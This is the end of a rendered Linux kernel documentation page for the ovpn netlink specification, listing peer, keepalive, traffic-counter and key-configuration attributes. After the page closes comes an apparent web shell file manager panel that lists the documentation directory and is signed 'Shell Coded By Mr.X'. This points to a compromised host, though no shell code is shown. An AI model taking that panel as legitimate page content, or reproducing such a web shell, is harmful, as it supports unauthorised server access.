<h4>vpn-ipv6 (<code class="docutils literal notranslate"><span class="pre">binary</span></code>)<a class="headerlink" href="#vpn-ipv6-binary" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The IPv6 address assigned to the peer by the server</p>
</dd>
<dt class="field-even">display-hint<span class="colon">:</span></dt>
<dd class="field-even"><p>ipv6</p>
</dd>
</dl>
</section>
<section id="local-ipv4-u32">
<h4>local-ipv4 (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#local-ipv4-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The local IPv4 to be used to send packets to the peer (UDP only)</p>
</dd>
<dt class="field-even">byte-order<span class="colon">:</span></dt>
<dd class="field-even"><p>big-endian</p>
</dd>
<dt class="field-odd">display-hint<span class="colon">:</span></dt>
<dd class="field-odd"><p>ipv4</p>
</dd>
</dl>
</section>
<section id="local-ipv6-binary">
<h4>local-ipv6 (<code class="docutils literal notranslate"><span class="pre">binary</span></code>)<a class="headerlink" href="#local-ipv6-binary" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The local IPv6 to be used to send packets to the peer (UDP only)</p>
</dd>
<dt class="field-even">display-hint<span class="colon">:</span></dt>
<dd class="field-even"><p>ipv6</p>
</dd>
</dl>
</section>
<section id="local-port-u16">
<h4>local-port (<code class="docutils literal notranslate"><span class="pre">u16</span></code>)<a class="headerlink" href="#local-port-u16" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The local port to be used to send packets to the peer (UDP only)</p>
</dd>
<dt class="field-even">byte-order<span class="colon">:</span></dt>
<dd class="field-even"><p>big-endian</p>
</dd>
</dl>
</section>
<section id="keepalive-interval-u32">
<h4>keepalive-interval (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#keepalive-interval-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The number of seconds after which a keep alive message is sent to the peer</p>
</dd>
</dl>
</section>
<section id="keepalive-timeout-u32">
<h4>keepalive-timeout (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#keepalive-timeout-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The number of seconds from the last activity after which the peer is assumed dead</p>
</dd>
</dl>
</section>
<section id="del-reason-u32">
<h4>del-reason (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#del-reason-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The reason why a peer was deleted</p>
</dd>
<dt class="field-even">enum<span class="colon">:</span></dt>
<dd class="field-even"><p><a class="reference internal" href="#ovpn-definition-del-peer-reason"><span class="std std-ref">del-peer-reason</span></a></p>
</dd>
</dl>
</section>
<section id="vpn-rx-bytes-uint">
<h4>vpn-rx-bytes (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#vpn-rx-bytes-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of bytes received over the tunnel</p>
</dd>
</dl>
</section>
<section id="vpn-tx-bytes-uint">
<h4>vpn-tx-bytes (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#vpn-tx-bytes-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of bytes transmitted over the tunnel</p>
</dd>
</dl>
</section>
<section id="vpn-rx-packets-uint">
<h4>vpn-rx-packets (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#vpn-rx-packets-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of packets received over the tunnel</p>
</dd>
</dl>
</section>
<section id="vpn-tx-packets-uint">
<h4>vpn-tx-packets (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#vpn-tx-packets-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of packets transmitted over the tunnel</p>
</dd>
</dl>
</section>
<section id="link-rx-bytes-uint">
<h4>link-rx-bytes (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#link-rx-bytes-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of bytes received at the transport level</p>
</dd>
</dl>
</section>
<section id="link-tx-bytes-uint">
<h4>link-tx-bytes (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#link-tx-bytes-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of bytes transmitted at the transport level</p>
</dd>
</dl>
</section>
<section id="link-rx-packets-uint">
<h4>link-rx-packets (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#link-rx-packets-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of packets received at the transport level</p>
</dd>
</dl>
</section>
<section id="link-tx-packets-uint">
<h4>link-tx-packets (<code class="docutils literal notranslate"><span class="pre">uint</span></code>)<a class="headerlink" href="#link-tx-packets-uint" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Number of packets transmitted at the transport level</p>
</dd>
</dl>
</section>
</section>
<section id="peer-new-input">
<span id="ovpn-attribute-set-peer-new-input"></span><h3><a class="toc-backref" href="#id49" role="doc-backlink">peer-new-input</a><a class="headerlink" href="#peer-new-input" title="Link to this heading">¶</a></h3>
<section id="id">
<h4>id<a class="headerlink" href="#id" title="Link to this heading">¶</a></h4>
</section>
<section id="remote-ipv4">
<h4>remote-ipv4<a class="headerlink" href="#remote-ipv4" title="Link to this heading">¶</a></h4>
</section>
<section id="remote-ipv6">
<h4>remote-ipv6<a class="headerlink" href="#remote-ipv6" title="Link to this heading">¶</a></h4>
</section>
<section id="remote-ipv6-scope-id">
<h4>remote-ipv6-scope-id<a class="headerlink" href="#remote-ipv6-scope-id" title="Link to this heading">¶</a></h4>
</section>
<section id="remote-port">
<h4>remote-port<a class="headerlink" href="#remote-port" title="Link to this heading">¶</a></h4>
</section>
<section id="socket">
<h4>socket<a class="headerlink" href="#socket" title="Link to this heading">¶</a></h4>
</section>
<section id="vpn-ipv4">
<h4>vpn-ipv4<a class="headerlink" href="#vpn-ipv4" title="Link to this heading">¶</a></h4>
</section>
<section id="vpn-ipv6">
<h4>vpn-ipv6<a class="headerlink" href="#vpn-ipv6" title="Link to this heading">¶</a></h4>
</section>
<section id="local-ipv4">
<h4>local-ipv4<a class="headerlink" href="#local-ipv4" title="Link to this heading">¶</a></h4>
</section>
<section id="local-ipv6">
<h4>local-ipv6<a class="headerlink" href="#local-ipv6" title="Link to this heading">¶</a></h4>
</section>
<section id="keepalive-interval">
<h4>keepalive-interval<a class="headerlink" href="#keepalive-interval" title="Link to this heading">¶</a></h4>
</section>
<section id="keepalive-timeout">
<h4>keepalive-timeout<a class="headerlink" href="#keepalive-timeout" title="Link to this heading">¶</a></h4>
</section>
</section>
<section id="peer-set-input">
<span id="ovpn-attribute-set-peer-set-input"></span><h3><a class="toc-backref" href="#id50" role="doc-backlink">peer-set-input</a><a class="headerlink" href="#peer-set-input" title="Link to this heading">¶</a></h3>
<section id="id1">
<h4>id<a class="headerlink" href="#id1" title="Link to this heading">¶</a></h4>
</section>
<section id="id2">
<h4>remote-ipv4<a class="headerlink" href="#id2" title="Link to this heading">¶</a></h4>
</section>
<section id="id3">
<h4>remote-ipv6<a class="headerlink" href="#id3" title="Link to this heading">¶</a></h4>
</section>
<section id="id4">
<h4>remote-ipv6-scope-id<a class="headerlink" href="#id4" title="Link to this heading">¶</a></h4>
</section>
<section id="id5">
<h4>remote-port<a class="headerlink" href="#id5" title="Link to this heading">¶</a></h4>
</section>
<section id="id6">
<h4>vpn-ipv4<a class="headerlink" href="#id6" title="Link to this heading">¶</a></h4>
</section>
<section id="id7">
<h4>vpn-ipv6<a class="headerlink" href="#id7" title="Link to this heading">¶</a></h4>
</section>
<section id="id8">
<h4>local-ipv4<a class="headerlink" href="#id8" title="Link to this heading">¶</a></h4>
</section>
<section id="id9">
<h4>local-ipv6<a class="headerlink" href="#id9" title="Link to this heading">¶</a></h4>
</section>
<section id="id10">
<h4>keepalive-interval<a class="headerlink" href="#id10" title="Link to this heading">¶</a></h4>
</section>
<section id="id11">
<h4>keepalive-timeout<a class="headerlink" href="#id11" title="Link to this heading">¶</a></h4>
</section>
</section>
<section id="peer-del-input">
<span id="ovpn-attribute-set-peer-del-input"></span><h3><a class="toc-backref" href="#id51" role="doc-backlink">peer-del-input</a><a class="headerlink" href="#peer-del-input" title="Link to this heading">¶</a></h3>
<section id="id12">
<h4>id<a class="headerlink" href="#id12" title="Link to this heading">¶</a></h4>
</section>
</section>
<section id="keyconf">
<span id="ovpn-attribute-set-keyconf"></span><h3><a class="toc-backref" href="#id52" role="doc-backlink">keyconf</a><a class="headerlink" href="#keyconf" title="Link to this heading">¶</a></h3>
<section id="peer-id-u32">
<h4>peer-id (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#peer-id-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The unique ID of the peer in the device context. To be used to identify peers during key operations</p>
</dd>
</dl>
</section>
<section id="slot-u32">
<h4>slot (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#slot-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The slot where the key should be stored</p>
</dd>
<dt class="field-even">enum<span class="colon">:</span></dt>
<dd class="field-even"><p><a class="reference internal" href="#ovpn-definition-key-slot"><span class="std std-ref">key-slot</span></a></p>
</dd>
</dl>
</section>
<section id="key-id-u32">
<h4>key-id (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#key-id-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The unique ID of the key in the peer context. Used to fetch the correct key upon decryption</p>
</dd>
</dl>
</section>
<section id="cipher-alg-u32">
<h4>cipher-alg (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#cipher-alg-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The cipher to be used when communicating with the peer</p>
</dd>
<dt class="field-even">enum<span class="colon">:</span></dt>
<dd class="field-even"><p><a class="reference internal" href="#ovpn-definition-cipher-alg"><span class="std std-ref">cipher-alg</span></a></p>
</dd>
</dl>
</section>
<section id="encrypt-dir-nest">
<h4>encrypt-dir (<code class="docutils literal notranslate"><span class="pre">nest</span></code>)<a class="headerlink" href="#encrypt-dir-nest" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Key material for encrypt direction</p>
</dd>
<dt class="field-even">nested-attributes<span class="colon">:</span></dt>
<dd class="field-even"><p><a class="reference internal" href="#ovpn-attribute-set-keydir"><span class="std std-ref">keydir</span></a></p>
</dd>
</dl>
</section>
<section id="decrypt-dir-nest">
<h4>decrypt-dir (<code class="docutils literal notranslate"><span class="pre">nest</span></code>)<a class="headerlink" href="#decrypt-dir-nest" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Key material for decrypt direction</p>
</dd>
<dt class="field-even">nested-attributes<span class="colon">:</span></dt>
<dd class="field-even"><p><a class="reference internal" href="#ovpn-attribute-set-keydir"><span class="std std-ref">keydir</span></a></p>
</dd>
</dl>
</section>
</section>
<section id="keydir">
<span id="ovpn-attribute-set-keydir"></span><h3><a class="toc-backref" href="#id53" role="doc-backlink">keydir</a><a class="headerlink" href="#keydir" title="Link to this heading">¶</a></h3>
<section id="cipher-key-binary">
<h4>cipher-key (<code class="docutils literal notranslate"><span class="pre">binary</span></code>)<a class="headerlink" href="#cipher-key-binary" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The actual key to be used by the cipher</p>
</dd>
</dl>
</section>
<section id="nonce-tail-binary">
<h4>nonce-tail (<code class="docutils literal notranslate"><span class="pre">binary</span></code>)<a class="headerlink" href="#nonce-tail-binary" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Random nonce to be concatenated to the packet ID, in order to obtain the actual cipher IV</p>
</dd>
</dl>
</section>
</section>
<section id="keyconf-get">
<span id="ovpn-attribute-set-keyconf-get"></span><h3><a class="toc-backref" href="#id54" role="doc-backlink">keyconf-get</a><a class="headerlink" href="#keyconf-get" title="Link to this heading">¶</a></h3>
<section id="peer-id">
<h4>peer-id<a class="headerlink" href="#peer-id" title="Link to this heading">¶</a></h4>
</section>
<section id="slot">
<h4>slot<a class="headerlink" href="#slot" title="Link to this heading">¶</a></h4>
</section>
<section id="key-id">
<h4>key-id<a class="headerlink" href="#key-id" title="Link to this heading">¶</a></h4>
</section>
<section id="id13">
<h4>cipher-alg<a class="headerlink" href="#id13" title="Link to this heading">¶</a></h4>
</section>
</section>
<section id="keyconf-swap-input">
<span id="ovpn-attribute-set-keyconf-swap-input"></span><h3><a class="toc-backref" href="#id55" role="doc-backlink">keyconf-swap-input</a><a class="headerlink" href="#keyconf-swap-input" title="Link to this heading">¶</a></h3>
<section id="id14">
<h4>peer-id<a class="headerlink" href="#id14" title="Link to this heading">¶</a></h4>
</section>
</section>
<section id="keyconf-del-input">
<span id="ovpn-attribute-set-keyconf-del-input"></span><h3><a class="toc-backref" href="#id56" role="doc-backlink">keyconf-del-input</a><a class="headerlink" href="#keyconf-del-input" title="Link to this heading">¶</a></h3>
<section id="id15">
<h4>peer-id<a class="headerlink" href="#id15" title="Link to this heading">¶</a></h4>
</section>
<section id="id16">
<h4>slot<a class="headerlink" href="#id16" title="Link to this heading">¶</a></h4>
</section>
</section>
<section id="ovpn">
<span id="ovpn-attribute-set-ovpn"></span><h3><a class="toc-backref" href="#id57" role="doc-backlink">ovpn</a><a class="headerlink" href="#ovpn" title="Link to this heading">¶</a></h3>
<section id="ifindex-u32">
<h4>ifindex (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#ifindex-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Index of the ovpn interface to operate on</p>
</dd>
</dl>
</section>
<section id="peer-nest">
<h4>peer (<code class="docutils literal notranslate"><span class="pre">nest</span></code>)<a class="headerlink" href="#peer-nest" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The peer object containing the attributed of interest for the specific operation</p>
</dd>
<dt class="field-even">nested-attributes<span class="colon">:</span></dt>
<dd class="field-even"><p><a class="reference internal" href="#ovpn-attribute-set-peer"><span class="std std-ref">peer</span></a></p>
</dd>
</dl>
</section>
<section id="keyconf-nest">
<h4>keyconf (<code class="docutils literal notranslate"><span class="pre">nest</span></code>)<a class="headerlink" href="#keyconf-nest" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>Peer specific cipher configuration</p>
</dd>
<dt class="field-even">nested-attributes<span class="colon">:</span></dt>
<dd class="field-even"><p><a class="reference internal" href="#ovpn-attribute-set-keyconf"><span class="std std-ref">keyconf</span></a></p>
</dd>
</dl>
</section>
</section>
<section id="ovpn-peer-new-input">
<span id="ovpn-attribute-set-ovpn-peer-new-input"></span><h3><a class="toc-backref" href="#id58" role="doc-backlink">ovpn-peer-new-input</a><a class="headerlink" href="#ovpn-peer-new-input" title="Link to this heading">¶</a></h3>
<section id="ifindex">
<h4>ifindex<a class="headerlink" href="#ifindex" title="Link to this heading">¶</a></h4>
</section>
<section id="id17">
<h4>peer<a class="headerlink" href="#id17" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">nested-attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-peer-new-input"><span class="std std-ref">peer-new-input</span></a></p>
</dd>
</dl>
</section>
</section>
<section id="ovpn-peer-set-input">
<span id="ovpn-attribute-set-ovpn-peer-set-input"></span><h3><a class="toc-backref" href="#id59" role="doc-backlink">ovpn-peer-set-input</a><a class="headerlink" href="#ovpn-peer-set-input" title="Link to this heading">¶</a></h3>
<section id="id18">
<h4>ifindex<a class="headerlink" href="#id18" title="Link to this heading">¶</a></h4>
</section>
<section id="id19">
<h4>peer<a class="headerlink" href="#id19" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">nested-attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-peer-set-input"><span class="std std-ref">peer-set-input</span></a></p>
</dd>
</dl>
</section>
</section>
<section id="ovpn-peer-del-input">
<span id="ovpn-attribute-set-ovpn-peer-del-input"></span><h3><a class="toc-backref" href="#id60" role="doc-backlink">ovpn-peer-del-input</a><a class="headerlink" href="#ovpn-peer-del-input" title="Link to this heading">¶</a></h3>
<section id="id20">
<h4>ifindex<a class="headerlink" href="#id20" title="Link to this heading">¶</a></h4>
</section>
<section id="id21">
<h4>peer<a class="headerlink" href="#id21" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">nested-attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-peer-del-input"><span class="std std-ref">peer-del-input</span></a></p>
</dd>
</dl>
</section>
</section>
<section id="ovpn-keyconf-get">
<span id="ovpn-attribute-set-ovpn-keyconf-get"></span><h3><a class="toc-backref" href="#id61" role="doc-backlink">ovpn-keyconf-get</a><a class="headerlink" href="#ovpn-keyconf-get" title="Link to this heading">¶</a></h3>
<section id="id22">
<h4>ifindex<a class="headerlink" href="#id22" title="Link to this heading">¶</a></h4>
</section>
<section id="id23">
<h4>keyconf<a class="headerlink" href="#id23" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">nested-attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-keyconf-get"><span class="std std-ref">keyconf-get</span></a></p>
</dd>
</dl>
</section>
</section>
<section id="ovpn-keyconf-swap-input">
<span id="ovpn-attribute-set-ovpn-keyconf-swap-input"></span><h3><a class="toc-backref" href="#id62" role="doc-backlink">ovpn-keyconf-swap-input</a><a class="headerlink" href="#ovpn-keyconf-swap-input" title="Link to this heading">¶</a></h3>
<section id="id24">
<h4>ifindex<a class="headerlink" href="#id24" title="Link to this heading">¶</a></h4>
</section>
<section id="id25">
<h4>keyconf<a class="headerlink" href="#id25" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">nested-attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-keyconf-swap-input"><span class="std std-ref">keyconf-swap-input</span></a></p>
</dd>
</dl>
</section>
</section>
<section id="ovpn-keyconf-del-input">
<span id="ovpn-attribute-set-ovpn-keyconf-del-input"></span><h3><a class="toc-backref" href="#id63" role="doc-backlink">ovpn-keyconf-del-input</a><a class="headerlink" href="#ovpn-keyconf-del-input" title="Link to this heading">¶</a></h3>
<section id="id26">
<h4>ifindex<a class="headerlink" href="#id26" title="Link to this heading">¶</a></h4>
</section>
<section id="id27">
<h4>keyconf<a class="headerlink" href="#id27" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">nested-attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-keyconf-del-input"><span class="std std-ref">keyconf-del-input</span></a></p>
</dd>
</dl>
</section>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/netlink/specs/ovpn.yaml.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

DIR : / usr/ share/ doc/ linux-doc-6.18/ html/ netlink/ specs/
Name Type Size Permission Actions
binder.html File 15.69 KB 0644
conntrack.html File 71.31 KB 0644
devlink.html File 243.24 KB 0644
dpll.html File 68.05 KB 0644
ethtool.html File 297.81 KB 0644
fou.html File 21.86 KB 0644
handshake.html File 22.95 KB 0644
index.html File 13.38 KB 0644
lockd.html File 12.81 KB 0644
mptcp_pm.html File 42.32 KB 0644
net_shaper.html File 39.97 KB 0644
netdev.html File 81.85 KB 0644
nfsd.html File 30.55 KB 0644
nftables.html File 166.1 KB 0644
nl80211.html File 176.45 KB 0644
nlctrl.html File 27.29 KB 0644
ovpn.html File 55.49 KB 0644
ovs_datapath.html File 23.82 KB 0644
ovs_flow.html File 93.52 KB 0644
ovs_vport.html File 25.18 KB 0644
psp.html File 27.82 KB 0644
rt-addr.html File 24.34 KB 0644
rt-link.html File 223.41 KB 0644
rt-neigh.html File 49.05 KB 0644
rt-route.html File 40.83 KB 0644
rt-rule.html File 34.92 KB 0644
tc.html File 361.2 KB 0644
tcp_metrics.html File 23.36 KB 0644
team.html File 25.86 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager